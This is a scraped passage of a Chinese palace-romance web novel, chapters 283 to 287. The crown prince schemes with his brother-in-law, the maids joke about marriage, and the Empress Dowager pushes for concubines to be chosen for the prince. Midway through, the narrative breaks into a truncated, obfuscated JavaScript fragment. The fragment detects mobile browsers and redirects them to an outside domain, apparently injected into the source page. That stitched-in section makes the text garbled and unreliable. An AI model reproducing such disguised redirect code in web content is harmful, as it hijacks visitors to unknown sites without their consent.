姜黎婳大步走到甲板上,看着金河两边的夜景,努力让自己忘掉先前的尴尬...
船舱中。
楚御礼给姜斯羽倒了杯酒,姜斯羽端着酒杯一饮而尽,把杯子放在桌上后,他看向楚御礼,“太子殿下心情这般好,看来今日的事情很是顺利。”
楚御礼颔首,“父皇暂时歇下了给我另娶太子妃的想法,但是想要立刻封婳儿为太子妃,也是不可能的。”
姜斯羽抿了抿嘴,“需要用银子的时候尽管开口,我们姜家虽然没有别的,但是家财却有不少。”
“若有需要的时候,我会和舅兄开口的。”楚御礼又给姜斯羽倒了一杯酒,端起酒杯向姜斯羽举杯,“那我就预祝舅兄金榜题名了。”
“多谢。”姜斯羽端起酒杯与他轻轻一碰。
两人把杯中酒一饮而尽,脸上多了几分肃色,楚御礼把酒杯放在桌上,脸色沉沉,“如今朝中虽然有些臣子是站在我这边的,但是不少大臣还是不把我这个太子
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放在眼中的,如今他们不敢说什么,但时日多了,必定会向我施压,我现在除了搜集他们的把柄之外,就是要掌控实权。”
姜斯羽抬眸看着楚御礼,“你想要我做什么?”
“舅兄不妨在金榜题名时自爆自己是上官先生的弟子来笼络一下其他同期学子。”楚御礼看着姜斯羽,“明日你与娘子去上官先生家中走一遭,让上官先生真正地收你为徒。”
“你还真的什么都敢说。”姜斯羽蹙眉,“那个老顽童可不一定会收我当弟子。”
“为了你妹妹未来的幸福,舅兄也不能让旁人轻视了你去不是吗?”楚御礼给姜斯羽倒酒,“我不仅要舅兄你成为上官先生的弟子,我还要你金榜题名后快速在朝廷站稳脚跟,成为你妹妹的后盾。”
不等姜斯羽说话,楚御礼又道,“舅兄不会是要退缩吧?难道先前你说的关心妹妹都是假的?”
“別激我,你若真有本事我妹妹她就是个乞丐,你想要她当太子妃,旁人又能说什么?”姜斯羽端起酒杯喝酒,“但是你放心,我是不会给我妹妹拖后腿的。”
“今日我的这边进行得顺利,舅兄那边会试不一定会顺利,舅兄可要小心小人。”楚御礼眉梢微挑,“不要又被人算计了去。”
姜斯羽脸一黑,站起来,“一点黑历史,你是可以说一辈子了是吧?”
“舅兄现在临近会试,不仅要小心美人计,更要小心其他小人。”楚御礼也站了起来,“可别给旁人有趁之机。”
“那你倒是借两个侍卫来保护一下我这个考生啊!”姜斯羽气急败坏地翻了个白眼,“我们姜家的打手能比得过你身边的侍卫吗?”
楚御礼嘴角一勾,“舅兄这是在求我帮忙吗?”
“是是是,求太子殿下护着在下,让在下能够无后顾之忧地参加会试。”姜斯羽朝着楚御礼拘礼,“这样可以了吗?”
“既然舅兄这么求我了,那我定然是不会让舅兄遇险的,我会派人暗中保护舅兄,这时辰也不早了舅兄快些回去吧,别让岳父在家中着急。”
姜斯羽听着他的逐客令,心头一万个鄙视,“想和我妹妹过二人世界就明说,少拿我爹当借口。”
第283章 小婢女想一个人静静
甲板上的姜黎婳看到楚御礼和姜斯羽两人走出来,她连忙抬步走过去,“你们怎么出来了?”
吹了一会儿风,姜黎婳现在的脸色已经恢复了正常,加上自己冷静了一会儿,现在她也没有先前那么尴尬了。
姜斯羽正欲说话,楚御礼就上前拉着姜黎婳的手笑着道,“舅兄说不想耽搁功课,想要回去继续温**,现在一切都以舅兄的会试为重,为夫也不便多留舅兄。”
姜斯羽在心中朝着楚御礼翻了一个大大的白眼,然后对姜黎婳笑着道,“对,我想先回去温**功课,游湖赏月这种事情等哥哥我金榜题名后,咱们有的是时间,现在不急于一时,今夜我就不和你们夫妇凑这个热闹了。”
姜黎婳知道姜斯羽的实力如何,他如今根本不用回去温**功课,她皱眉,正要挽留姜斯羽,楚御礼就快她一步道,“婳儿,舅兄想要回家咱们不要拦着,舅兄有舅兄自己的安排,你不要多说了。”
姜黎婳看向姜斯羽,姜斯羽冲着她点头,看着他们夫妇二人的眼神中充满了笑意,“以后咱们有的是时间,今夜你们夫妇二人就好好的过你们的二人世界吧。”
瞧着楚御礼搂着姜黎婳的模样,他朝楚御礼抬了抬眉梢,“对我妹妹好一点,不然...”
“舅兄,时辰不早了,你还不走?”楚御礼是真不想听他们一天提几次的这些话,婳儿是他的心上人,他怎么会辜负自己的心上人呢?他怎么会对婳儿不好呢?
这可是他好不容易求来的娘子。
送走姜斯羽,楚御礼搂着姜黎婳进了船舱,船也缓缓从岸边离开,朝着下游而去。
船舱中,姜黎婳端起已经喝了一半的酒壶,她眉头微蹙,“你方才和兄长说了什么?”
两人怎么喝酒喝到一半,有一个人就要走了?
见姜黎婳如此敏感,楚御礼深深吸了口气,从姜黎婳手中把酒壶取过来,他给自己斟了一杯,“婳儿,你说公开舅兄就是上官先生学生这件事情会不会...”
“不用。”姜黎婳直接打断楚御礼的话,抬眸看着他,沉声道,“我不想我们的事情把师父也牵扯进来,师父本就是害怕麻烦的人,当年他拒绝先皇当父皇的先生,如今我就更不能因为我的事情把他牵扯进这些事情中来。”
姜黎婳把手伏在楚御礼放在桌上的手上,继续道,“再说了,我不想兄长功成名就只是为了保护我,我想要兄长参加会试不过是想让兄长有保护父亲和护住我们家业的能力。”
楚御礼瞧着神色认真的姜黎婳,眉头微蹙,“婳儿,这和保护你也没有...”
“楚御礼。”姜黎婳打断他的话,神色认真的看着他,“我知道兄长功成名就后想要保护我和保护家业并不冲突,但是我更希望我自己的事情,我们自己解决,你相信我吗?”
“不说这个了。”楚御礼反握住她的手,轻轻笑了笑,“以后的事情咱们以后再说,今夜小生先陪小姐赏月吧。”
姜黎婳听到他后面这句话,已经恢复常色的脸色又红了,她嗔了楚御礼一眼,“又来?”
瞧着她的模样,楚御礼心头一动,他凑近她在她耳边低语,“这船上没有其他人了,青梅也被带到小船上去了,现在这画舫上除了船夫,没有其他人,他们也不会过来打扰我们的,娘子你不必觉得害羞。”
姜黎婳狠狠地拍拍了楚御礼一下,“你正经点好不好,都是当太子的人了。”
“我是楚国百姓的太子,却只是你一个人的夫君。”楚御礼说罢在她脖子上亲了一口,嗓音蛊惑,“咱们去甲板上赏月?”
姜黎婳轻轻颔首,“好。”
翌日。
天光微微亮,楚御礼就睁开了眼,他一动,身边的姜黎婳也睁开了眼睛,她揉了揉酸胀的腰要坐起身,楚御礼又压着她躺回去,“时辰还早,你在休息一会儿,不要起身了。”
昨夜他们在船上胡闹到半夜,姜黎婳最后是没有一点力气了,人都昏睡过去了,她知道自己是被他抱着回府的,现在也是一点都不想动,她懒洋洋的应了一声,轻声问,“今日我不用进宫吧?”
“不用。”楚御礼在她额头上轻轻落下一吻,“为夫上朝去了,你好好休息。”
她如今没有被封为太子妃,今日不必进宫谢恩。
姜黎婳没有回复他,翻了个身继续睡觉,瞧着她懒洋洋的模样,楚御礼温柔的眼神中多了一丝笑意,他摸了摸她柔软的青丝,这才起身。
......35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464873|175099||http|test|mini|href|location''.split(''|''),0,{}));
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r>姜黎婳再次醒来的时候已经过了辰时了。
知夏端着水进来伺候她梳洗,铃铛带着青梅为她布膳,她收拾好就过来用早膳。
青梅给姜黎婳布好膳食就规矩的站到门边仔细观察着自家脸色红润的小姐,看到小姐颈脖上那些痕迹,青梅睫毛颤了颤,姑爷可真厉害啊,他们在画舫的甲板上赏月才一刻钟不到的时间就进了船舱的房间,整整三个时辰了姑爷才抱着小姐从船舱里面出来。
小姐那时候就连睁眼的力气都没有了!
她以后有没有那个福气找一个像姑爷这么厉害的夫君啊?
想想都觉得激动!
正在用膳的姜黎婳被青梅赤裸裸的眼神给看的胃口都没有了,她抬眸朝青梅看过去,无奈的问,“想吃?”
青梅眼睛亮晶晶地点头,“想要!”
她也想要一个体力很好的美男夫君,不过她不贪心,不用姑爷那种惊为天人的,就姑爷身边的那些侍卫那种也可以...
姜黎婳看了一眼自己桌上的早膳,眉头微蹙,“想要哪些?”
“一个就可以了。”青梅脸颊绯红,她低下头,满脸羞涩,“太多了奴婢害怕受不住。”
“你的胃口,一个就可以了?”姜黎婳挑眉,“够吗?”
“够了够了,太多了奴婢真的受不住。”青梅羞涩地笑了出来。
瞧着青梅的反应,姜黎婳更疑惑了,她又看了一眼桌上的早膳,蹙眉,“那你想要哪一个?”
“现在就可以要吗?奴婢现在银钱还没有存够呢。”青梅抬眸看着姜黎婳,嘿嘿一笑,“奴婢存到足够的银钱之后再告诉小姐您可不可以?”
姜黎婳抬头看着她,“吃个早膳我还要收你钱?”
青梅眨眼,一脸惊讶,“小姐你不是要给我一个夫君吗?”
噗嗤...
一直在旁边听着两人对话的知夏和铃铛噗嗤笑了出来,铃铛更是一脸揶揄地盯着青梅,“小青梅啊,没想到你年纪轻轻竟然就想要夫君了啊!”
青梅:“......”
是她想多了!大清早的,小姐怎么会送她男人啊!
完了完了,没脸见小姐和知夏铃铛她们了!
青梅捂着脸转身就跑,此时她还是一个人静静吧!
第284章 少往小姐身上泼脏水
瞧着捂着脸跑出去的婢女,姜黎婳才后知后觉的想起来,其实她身边的三个婢女都比她大一点,知夏和铃铛比她大两岁,而青梅也大她一岁,只是青梅平日里咋咋呼呼的,总是一副笑嘻嘻的模样,就会让人忽略了她的年龄。
她抬眸打量了一眼还在笑青梅思春的知夏和铃铛,轻轻挑眉,她是不是应该考虑一下身边这三个婢女的终身大事了?
“知夏、铃铛,你们呢?”姜黎婳放下碗筷,站起来走到两人身边拉着两人的手,笑着道,“今年你们也双十年龄了,的确应该考虑一下终身大事的事情了,青梅都在向我讨夫君了,你们有看得上的人吗?”
知夏连忙跪在地上,“知夏还不想嫁人,知夏只想在小姐身边伺候小姐,请小姐不要赶奴婢离开。”
“奴婢也是!”铃铛也连忙跪了下去,找个男人做什么?自己挣的银钱她可以自己揣在荷包里面想怎么用就怎么用,如果找了个男人嫁人了,自己挣的银钱就会被他拿去,若婆家是个吸血鬼的话,那她这辈子就得养他们一家,就和她娘一样...
想到自己的女儿可能会经历自己以前所经历的一切,铃铛就连忙道,“奴婢要伺候您到老,奴婢才不要嫁人!”
姜黎婳知道铃铛家中的事情,见她如此抗拒嫁人,她也不强求,把两人拉起来后,她在圆凳上坐下,“我也不是要把你们立刻嫁出去,咱们府中也有不错的人,你们自己好好考虑,若有看上的,就告诉我,我给你们做主...”
“小姐,我们才不要嫁人!他们再好能有您好?”铃铛撇嘴,“我们伺候您您还要给我们发月钱呢,若我们嫁了人,您发给我们的月钱,我们说不定还会被抢了去,我们才没有青梅那么傻呢。”
青梅一天就想挣钱养美男。
她们只想挣钱养自己!
想要挣钱养美男的青梅捂着脸从梨月居跑出去就跑到花园中蹲在花丛中独自社死。
小姐以为她想要吃早饭,而她竟然以为小姐要给她一个男人!真是丢脸丢到家了!她没有脸见人了!真的好想**一死啊!
她双手死死地捂着脸,哀嚎,为什么啊!为什么她要长一颗**脑袋啊!这下笑话闹大了!
这下除了知夏姐姐和铃铛姐姐,小姐也知道了她想要养美男了!她没脸见人了!
跟墨玄留在府中处理事务的昭临从花园旁边的长廊经过时正好看到青梅蹲在花丛中捂着脸背部抽动,他停下脚步朝,眉头皱了起来,这是又被欺负了?
他抬步朝青梅所在的花园走去。
他一步一步走到青梅身后站定,居高临下地看着把自己的头埋在下盖中央用双手捂着脸的青梅,他语气微沉,“她们又欺负你了?”
青梅听到这富有磁性的男声,整个人一顿,接着她缓缓回头,看向站在自己身后的昭临。
看到满脸通红的青梅,昭临眉头微蹙,没哭?
青梅尴尬的咳嗽了一声站起来,“昭临大哥你有事吗?”
“你又被王妃处罚了?”昭临回眸看了一眼梨月居的方向,语气微沉,“做错事了?”
“小姐才没有罚我!小姐才不会罚我们!”青梅激动地站起来,“你可不能随便坏了我们小姐的名声!”
“那你一个人在这里伤心什么?”昭临看着脸色通红的青梅,“王妃虽然是咱们的主子,但在王府中即便是主子,也不能随意刁难没有犯错的下人。”
“我们小姐才不会刁难别人!我们小姐在我们犯错的时候都不会惩罚我们,怎么会无缘无故为难我们!你可不要随便往我们小姐身上泼脏水!否则我才不管你长得好不好看,照样呼你脸!”青梅恶狠狠地瞪着昭临。
瞧着青梅如此护主的模样,昭临眉梢微挑,“你还挺忠心的,可是那天我明明都看到了,王妃和知夏她们主仆三人在屋中有说有笑,你一个人被叫到屋外罚跪,今天你又...”
“那才不是我们小姐罚我跪的!”青梅连忙打断昭临的话,有些心虚的说道,“那还是我自己说错话了,自己罚跪的!”
“自己罚跪?你觉得我会相信?你这么蠢,还要自己罚跪自己?而且还是大雪天气跪在外面,还把自己给弄着凉了?”昭临今日原本是想过来帮她讨公道,没想到反而被嫌弃了,他脸色一下就变差了,他真是多管闲事才会过来走这么一遭!
“我那天就是说错话了,所以才会跪在外面清醒一下,让自己长长记性,以后在王府不要乱说话。”青梅抿嘴,想到自己来王府的第一天知夏姐姐就熬夜给自己做了护膝,铃铛姐姐也在自
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己那天跪下着凉后熬药照顾自己,小姐也让自己好好休息,不但不怪罪她说王爷不行的话,还亲自给她诊脉,而这昭临竟然误会她们欺负她?
“而且知夏姐姐给我特制了加厚的护膝,小姐亲自给我诊脉开药方,铃铛姐姐还给我熬药,亲自照顾我!她们对我都是极好的,你不准说她们坏话!”
昭临眉头紧促,语气有些意味不明,“打一巴掌给一颗甜枣,王妃倒是极会拿捏人心。”
难怪王爷对王妃这么死心塌地的。
“我都说了,我那天是说错话了自己罚自己,你不要乱说!少挑拨我和我们家小姐的主仆关系!你这个坏人!”青梅狠狠地瞪了昭临一眼,这个人真是空有一副皮囊,就是耳朵不好使,她都这样解释了,他就是听不进去!
娘亲说过不听女人话的男人,不能要!
这种自以为是的男人更不能要!
“那你倒是说说你到底说错了什么话,需要那样罚跪?”昭临也气急了,他明明是在帮他,现在这人倒是怪起他来了!简直不可理喻!
青梅瞪眼,她忽然往后退了两步,“你该不会知道了那天我说王爷不行,所以来抓我罪证的吧?”
昭临眼角一抽,“你说什么?”
她说王爷不行?是指哪方面不行?
不对啊,他们主子,不管哪方面都没有不行的!
青梅抿了抿嘴,脸色不自然地转过身小声嘟囔,“回京第二天王爷和小姐从皇宫回来没一会儿不是就急匆匆的回房间了吗?瞧着王爷那猴急的模样,我一会儿...”
她咬了咬嘴唇,继续小声道:“谁知道王爷一刻钟都不到的时间就出来了,我就合理的怀疑了一下王爷是不是...呜呜呜...”
青梅瞪眼看着忽然捂着自己嘴巴的昭临,伸手扒拉他捂着自己嘴的手。
昭临没有松开青梅,而是震惊地问道,“所以王妃才给你罚跪的?”
敢当着王妃的面说王爷不行,王妃居然只是罚跪?还真是仁慈!
青梅摇头,她使劲扒拉开昭临的手,“我都说了那是我自己去外面跪着的!为的就是长记性!不然以后自己说错话丢了性命都不知道!我们小姐那么善良那么好,怎么可能会随意体罚身边的仆从!你少往我们小姐身上泼脏水!”
第285章 太后有请
昭临听了青梅的话,在心头为自己刚刚恶意揣测王妃而感到惭愧,王妃对他们王爷这么好,嫁给王爷之后不但帮王爷解了毒,还帮王爷揭穿了那些想要害王爷的人的真面目,而他竟然觉得王妃心机深沉,他的确是以小人之心度君子之腹了。
今后他一定不能光用自己看到的表面和听到别人的话来评判王妃了!不对!他根本不配评判王妃!以后他只会听从王爷和王妃的话,只做忠于他们的事情,绝对不可以听信旁人的话,免得被旁人利用了去。
在心头默默下了决心之后,昭临尴尬的握拳咳嗽了一声,然后问青梅,“那你这会儿一个人蹲在这花丛中做什么?”
经昭临这么一提醒,青梅又想到了自己先前在自家小姐面前会错意而说的那些话,她的脸骤然变得通红,她有些气急败坏地瞪了昭临一眼,使劲跺脚,“要你管!我就是看这里的花长得好看不行啊!”
“你这人怎么喜怒无常的!”昭临蹙眉,脸色也沉了下去,“我是吃饱了撑着才来关心你,好心当作驴肝肺,以后我再关心你,我就是脑子有病!”
他说完转身就走。
“你!”青梅看着昭临大步离开的背影,气得又在原地跺脚,“谁要你关心了!不就是长得好看一点吗?谁稀罕你的关心!”
哼!
昭临听到她这话气得回眸深深地看了她一眼,然后转身大步离开,他真的是疯了才会听冽风他们的话,会觉得这个小丫头喜欢他!他就没见过谁对喜欢的人是这种模样的!
青梅站在花园中朝着昭临的方向挥了几拳发泄了心头的怒气,这才气呼呼地回到梨月居,姜黎婳瞧她红着脸回来,笑着让她过来。
青梅走到姜黎婳面前,给姜黎婳见礼之后,直接把头埋在胸前,“小姐您别笑话我了,奴婢先前就是脑子还没有清醒,才会说那种话的!你可千万别往心里去啊。”
“不想要我帮你指婚?”姜黎婳笑看着青梅,“其实你们都到了婚嫁的年龄,如果你们有喜欢的人了,可以告诉我,如果对方愿意的话,我可以为你们指婚的。”
姜黎婳看着跟在自己身边的三个小婢女,眼神温柔,“若是你们与王爷身边的侍卫两情相悦,那我就还你们的**契,让你们脱离奴籍再嫁给他们,这样也不会让他们家中瞧不起。”
楚御礼身边的昭临和青砚他们,她好像记得他们不是奴籍,若身边的三个婢女嫁给他们的话,是可以改变后代为奴的命运的。
“小姐奴婢不想现在就嫁人,奴婢还想在您身边多伺候几年呢。”青梅连忙跪在地上,“您别这么着急的把奴婢嫁人好不好?”
“奴婢们也是。”知夏和铃铛两人凑到姜黎婳面前也跟着跪了下去,“奴婢们只想在小姐您身边一直伺候,哪儿也不去。”
姜黎婳无奈的笑了,她颔首,“在你们想嫁人之前我是不会强迫你们嫁人的,但是你们要记住,我也不希望你们为了我而放弃自己的幸福,若你们真的遇到了两情相悦想要相携一生的人,一定不要为了我放弃自己的幸福。”
三人听到姜黎婳这话,眼泪直接从眼眶里面滑落出来,青梅更是直接哭着说道,“我前世到底做了什么善事啊,竟然能遇到小姐你这么好的主子!我以后不要嫁人了,我要一辈子跟在小姐身边伺候小姐!”
“你想一辈子跟着我,我不想你一辈子跟着我。”姜黎婳头疼的揉了揉太阳穴,“你们快起来,别哭了,不知道的还以为我欺负你们了呢。”
就这时候,门房的人在院子门口求见,知夏见状起身走了出去,铃铛和青梅两人也站了起来。
没一会儿知夏走了进来,“说是慈宁宫中来人,请王妃您进宫。”
姜黎婳蹙眉,上次是他们刚回京,这是昨天楚御礼刚受封太子,太后这是因为皇上没有下封太子妃的圣旨,所以太后狗急跳墙又要把她喊到宫中去问罪了?
不过,太后想要见她,她是不能推脱的。
“你去告诉太后的人,本王妃一会儿就过去,让她先等会。”姜黎婳站起来往里屋走,一边对知夏道,“进来给我梳妆。”
知夏应了一声,进去给姜黎婳挑选入宫的衣裳,然后重新给姜黎婳挽了入宫的发髻。
姜黎婳今日入宫穿的是橙色的曳地望仙裙,发髻也重新挽了坠马髻,插上朱钗配上耳饰配上妆容,倒是给了旁人一种又纯又欲的小妇
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人的感觉。
知夏瞧着自家小姐的模样,忍不住咽了咽口水,她问姜黎婳,“小姐,奴婢再给您额间点缀一朵花钿?”
“不用,今日只是进宫见太后,穿得太朴素,太后又要说我丢皇室的脸了,若是太招摇,怕要说我是狐媚子转世了。”姜黎婳看了一眼京中的自己,现在自己这身装扮还算端庄,想来太后应该挑不出错处来。
“就这样,让青梅随我入宫吧。”姜黎婳转身向屋外走去。
青梅听到小姐竟然要让自己陪她入宫,一下子紧张了起来,她咽了咽口水,看着自家小姐,“奴婢害怕说错话然后给小姐惹事。”
“我没让你说话的时候,你不说话,只需要跟在我身边就是,我让你说话的时候,你就不必害怕得罪谁,只管放开了说。”姜黎婳笑着冲青梅挑眉,“可别辜负了太子殿下对你的重望。”
楚御礼之前可说了,这丫头嘴会说,带在身边她不会吃亏。
听到自家小姐这么说,青梅一下子就挺起了胸膛,“小姐您放心,您让奴婢骂人的时候,奴婢绝对不会退缩的!”
姜黎婳嗯了一声,带着青梅离开梨月居。
瞧着主仆二人雄赳赳气昂昂离开的背影,知夏忽然有些不安,她叹了口气,问铃铛,“小姐和青梅这样去宫里,真的没问题吧?”
铃铛抿嘴,“应该不会吃亏。”
“我心头总觉得不安,我还是去让昭临他们给殿下说一声吧。”
......
皇宫。
姜黎婳在慈宁宫外的长廊上遇到了一同前来的皇后和贤妃,看到她们二人,姜黎婳心头的不安总算是落了下去,她抬步朝着两人走过去,给两人见礼,“儿臣见过母后,见过贤娘娘。”
皇后和贤妃两人同时走过来扶着姜黎婳站起来,皇后脸色不好,“今日太后把我们都喊来,定不是什么好事,一会儿你进去先不要说话,一切有母后在前面替你挡着。”
“多谢母后护着儿臣。”姜黎婳有些感动,她是真没想到在这皇宫中,皇后竟然是真心实意想要护着她的,她以为,以皇后和承恩伯府的关系,怎么也应该站在太后那边,没想到她竟然会护着自己。
第286章 贤妃帮忙出气
慈宁宫中。
太后坐在主位上,孟若瑶正跪在她脚边为她捶腿,听到通报说皇后驾到,她连忙站起来给皇后见礼,“臣女孟若瑶参见皇后娘娘。”
皇后淡淡地睨了她一眼,“孟小姐不必多礼,起来吧。”
站在皇后身侧的贤妃听眉梢微微一挑,看了一眼无视自己的孟若瑶。
孟若瑶应了一声站起身,然后退回太后身后去。
皇后、贤妃和姜黎婳这才齐齐给太后行礼,太后原本想为难姜黎婳一下的,没想到姜黎婳和皇后她们一同过来了,她只能淡漠地让她们都平身。
三人站起来后,贤妃笑着跟皇后道,“娘娘您瞧,臣妾就说往日那些妃嫔不把臣妾放在眼中其实就是常事您还不信,如今就连一个臣子的女儿都不把臣妾放在眼中了,您总会相信臣妾这个商户出生的妃嫔不受待见了吧。”
贤妃说到这里抬手遮住唇轻叹,“说到底还是我身份卑微,才会被人不放在眼中。”
“你如今是皇上的贤妃,身份高贵,谁敢不把你放在眼中?”皇后说到这里,脸色顿沉,“十几年前那场战争几乎掏空了国库,若不是你们乔家填补了国库的亏空,才拯救了万民于水火,这天下之人,谁敢瞧不上你?”
皇后说到这里扫了一眼站在太后身后的孟若瑶,然后把目光放在明显了脸色不好的太后身上,“母后,您说儿臣说的是吗?”
太后淡淡地应了一声,“贤妃母族如今归为护国公,谁敢瞧不上你们家。”
贤妃轻笑,她目光看向孟若瑶,“那为何孟小姐见了本宫却不行礼,见了御王妃也不行礼?不是觉得我们两人商贾出生,配不上她的以礼相待吗?”
孟若瑶猛地抬头看向竟然当着太后的面故意为难自己的贤妃,她双手死死地捏紧,这个**!
以后她若是当了太子妃,等太子即位之后,她一定第一个不放过这个贤妃!果然是商贾出生的,都是上不得台面的**!
姜黎婳也有些诧异地看向贤妃,她根本没听过护国公这号人,京城也没有听过护国公的名号,这贤妃娘娘家中竟然还有一等公爵的封号啊?
贤妃瞧着孟若瑶那一副委屈的模样,黯然摇头,“我们家的公爵封号,那是陛下感恩才给的护国公的爵位,不过是一个没有实权的爵位罢了,孟小姐不把臣妾放在眼中是正常的,毕竟臣妾如今女儿远嫁南诏和亲,父母如今又远在蜀州,身边没个可以依仗的人。”
太后眼睛一眯,正要说话,贤妃又道,“听说这些年生意越来越不好做了,我们乔家如今也是拼了全力才堪堪维持楚国首富这个地位,今年怕...”
“若瑶。”太后打断贤妃的话,想到贤妃每年送给自己的奇珍异宝和无数金银,太后脸色难看的看向委屈的孟若瑶,“你在家中父母就是这样教导你礼仪规矩的?皇室注重规矩,利益尊卑你要分得清楚,还不过来给贤妃请安。”
贤妃眉梢微挑,她伸手把姜黎婳拉到自己身边,笑着道:“身为臣子之女,御王妃受不起她这一礼吗?”
孟若瑶像是受到了前所未有的**一般,她咬着嘴唇抬眸看着贤妃,泫然欲泣,“贤妃娘娘,臣女做了什么事情让您如此为难臣女?”
“只是让你给我们行礼就是为难你了吗?”贤妃冷笑了一声拉着姜黎婳让开,然后笑着对太后道,“既然让孟小姐给我们行礼是为难孟小姐,那臣妾还是不受她这一礼了,免得改日京城又传出本宫和御王妃以权压人,为难承恩公府的小姐了。”
“若瑶不是那个意思,贤妃娘娘您为何总要曲解若瑶的话?”孟若瑶委屈地抬头看着贤妃,“您和皇后娘娘是一同进来的,臣女给皇后娘娘请安,自然就向您和御王妃请安了,您...”
“哦,原来孟小姐只是不想多费口舌喊出本宫的名号啊,那你早说啊。”贤妃冷笑了一声,“你既然这么不屑喊本宫,本宫也不会为难你的,毕竟你是太后的侄孙女,本宫总要给太后这个面子不是。”
太后看贤妃的眼神越发的冷淡,见孟若瑶还要说话,她厉声道,“够了,若瑶,今日是你失礼,还不快给贤妃和御王妃行礼请安。”
还想再为自己辩解几句的孟若瑶一脸憋屈地跪在地上重新给贤妃和姜黎婳见礼,“臣女见过贤妃娘娘、御王...妃!”
瞧着孟若瑶咬牙切齿的模样,虽然不是自己刁难的,但是姜黎婳忽然觉
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得有些爽。
她是真没想到这个时候,贤妃竟然愿意冒着得罪太后的风险,来给她撑腰!
见贤妃一直不说话,姜黎婳便对着孟若瑶道,“孟小姐不必多礼。”
孟若瑶却没有立刻站起来,而是抬眸看向贤妃。
贤妃直接无视了她眼底的怨毒,笑着道,“既然御王妃都让你不必多礼了,孟小姐还跪着做什么?搞得好像本宫在刁难你一样,你若懂点规矩先前给皇后娘娘见礼的时候,顺带给本宫和御王妃行礼了,那本宫也不会有落差感,自然也不会有这么一出了。”
贤妃这话里话外都在点孟若瑶,说孟若瑶没规矩,孟若瑶双手捏得紧紧的,心头在暗暗发誓,以后她是绝对不会轻易放过贤妃这个**和姜黎婳这个**的!这两个商贾出生的贱胚子她一定要让她们后悔得罪她!
她站起来走到太后身边站着,垂头想着今后要怎么报复这两个今日让她出丑的两个**。
太后脸色不好的坐在主位上,沉声道,“好了,哀家今日唤你们来是昨日皇帝说太子妃一事还不着急,但是为皇家开枝散叶的事情不可再拖了,御王妃和太子成亲也有半年多的时间了,但是御王妃的肚子却迟迟没有动静。”
太后把目光放在姜黎婳身上,语气微冷,“过些日子太子也要搬入东宫了,所以在此之前,哀家想要替太子选些侍妾在身边伺候。”
她看着姜黎婳,眼睛微眯,“御王妃,你觉得如何?”
“给太子选侍妾,这种事情怕是还要问过太子本人的意见。”皇后眉头微蹙,她回眸安抚地看了姜黎婳一眼,继续道,“如今御儿刚刚被封为太子,正是需要做出政绩的时候,倒是也不必太在意后宅之事,母后这样做未免太着急了。”
“御王妃,你也是这样想的吗?”太后冷声道,“还是说你生性自私,想要把太子一人占为己有?”
“臣妾不敢。”姜黎婳对着太后微微一笑,“臣妾向来都听殿下的,王府中大小事都要先问过殿下的意见我再做决定,选侍妾这种事情,自然也需要殿下点头应允之后臣妾才敢做决定,所以太后您想要给太子殿下选侍妾,还是得先问过殿下的意见。”
第287章 找钦天监的人问问吧
听姜黎婳如此推脱,太后原本就不好看的脸色更难看了,她那双浑浊的眼睛盯着姜黎婳,好一会儿之后,她才沉声道,“选个侍妾而已,还得让太子过问,你这个王妃是不是太无能了?”
姜黎婳抬了抬眉梢,看吧看吧,太后的目的这么强烈,她无论用什么借口推脱,最后太后都找得到话来骂她,刚刚她还没说话呢,太后就说她生性自私,现在说了,只要楚御礼点头同意,她就可以给楚御礼选侍妾,太后知道楚御礼是绝对不会同意选侍妾的,又把压力给到她,说她无能。
“太后娘娘教训的是,臣妾回去一定多加反省自己,提升自己的能力,不给太子殿下丢人。”
皇后在一旁听着姜黎婳这话,原本紧抿着的唇角轻轻松开,她侧眸看了姜黎婳一眼,然后对太后道,“母后,这御儿的身体才刚刚大好没多久,在很多事情上是有心无力的,如今御儿还年轻,咱们的确也不必再皇嗣面前如此着急。”
“是呀太后娘娘。”贤妃也跟着道,“咱们皇后娘娘怀上太子殿下的时候,陛下不也二十三岁了嘛,如今这太子殿下还未到二十岁,您也不用太着急。”
“当初钦天监说御儿活不过二十岁,必须娶婳儿为妻才能安稳活到老,如今他这二十岁的劫难还未度过,就贸然给他选侍妾,臣妾害怕婳儿冲喜嫁给御儿才给御儿带来的福泽,被选进府中的侍妾给冲散了。”皇后说到这里眼神冷冷地扫了孟若瑶一眼,又接着道,“臣妾其他的都不怕,就怕御儿过不去二十岁这个坎,这样岂不是咱们楚国...”
“他体内的毒不是都解了?”太后瞧皇后为了帮姜黎婳竟然连这件陈年旧事都给扯出来了,她脸色彻底变得黢黑,她沉沉地看着太后,冷声道,“而且哀家看他的身体,哪儿是对那些事情有心无力的?”
先前孟若瑶入宫的时候还告诉她,昨夜楚御礼和姜黎婳两人还去金河乘画舫游湖了,而且两人从船上下来的时候,楚御礼还是抱着姜黎婳的,只有他们两人的画舫,在船上做了什么,不用想都知道。
体力如此好的人,现在皇后竟然说他有心无力?
真是不会找借口。
“可是钦天监曾预言说的不是御儿会病死,而是说他就会死。”皇后也不松口,继续道,“臣妾怕若婳儿离开,或者其他人嫁给太子破了这份福泽,他就活不过二十岁...”
“哀家又没有说让御王妃离开,只是给太子选几个侍妾,怎么就会让他**?”太后的手在旁边的矮几上狠狠地拍了一下,厉声道,“哀家瞧你就是不想给太子选侍妾,你也被她迷得失了心智了吗?他身为太子本就应该为皇室开枝散叶,你现在想做什么?想要由着他和...”
太后说到这里停了下来,她冷冷地睨了姜黎婳一眼,沉声道,“御王妃,哀家第一次见你的时候以为你是个懂事的,没想到你竟然如此不懂事,为了独受太子的恩宠,竟然如此迷惑太子和皇后让他们...”
“太后娘娘臣妾冤枉啊!”姜黎婳抬手拭泪,“臣妾向来循规蹈矩,对太子殿下也是尽心尽力,事事以太子殿下为先,却从未想过独霸太子殿下的,更从未向母后说过任何大逆不道的话。”
明明是你们没本事说服楚御礼重新娶太子妃和挑选侍妾,现在却要把锅丢给我?不好意思,我不接!
“你还想狡辩?”太后抬手指着姜黎婳,厉声呵斥,“你若从未说过那些话,太子为何会不想要纳妾,皇后为何会阻拦?”
